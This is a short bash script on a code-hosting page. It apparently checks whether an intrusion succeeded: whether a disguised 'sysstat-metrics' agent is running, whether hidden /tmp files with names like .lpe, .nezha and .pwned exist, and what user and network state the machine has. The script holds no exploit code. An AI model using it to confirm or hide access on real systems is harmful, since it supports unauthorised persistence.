You can not select more than 25 topics
Topics must start with a letter or number, can include dashes ('-') and can be up to 35 characters long.
19 lines
488 B
19 lines
488 B
#!/bin/bash
|
|
{
|
|
echo "=== verify $(date) ==="
|
|
echo "--- pgrep ---"
|
|
pgrep -af sysstat-metrics
|
|
echo "--- /usr/bin/sysstat-metrics ---"
|
|
ls -la /usr/bin/sysstat-metrics /usr/bin/config.yml 2>&1
|
|
echo "--- /tmp files ---"
|
|
ls -la /tmp/.lpe* /tmp/.nezha* /tmp/.pwned* /tmp/.recon* 2>&1
|
|
echo "--- agent.sh exists? ---"
|
|
ls -la /tmp/agent.sh 2>&1
|
|
echo "--- id ---"
|
|
id
|
|
echo "--- net ---"
|
|
ss -tlnp 2>&1 | head -10
|
|
echo "--- ip ---"
|
|
ip a 2>&1 | head -10
|
|
} > /tmp/.verify_$$ 2>&1
|
|
chmod 777 /tmp/.verify_*
|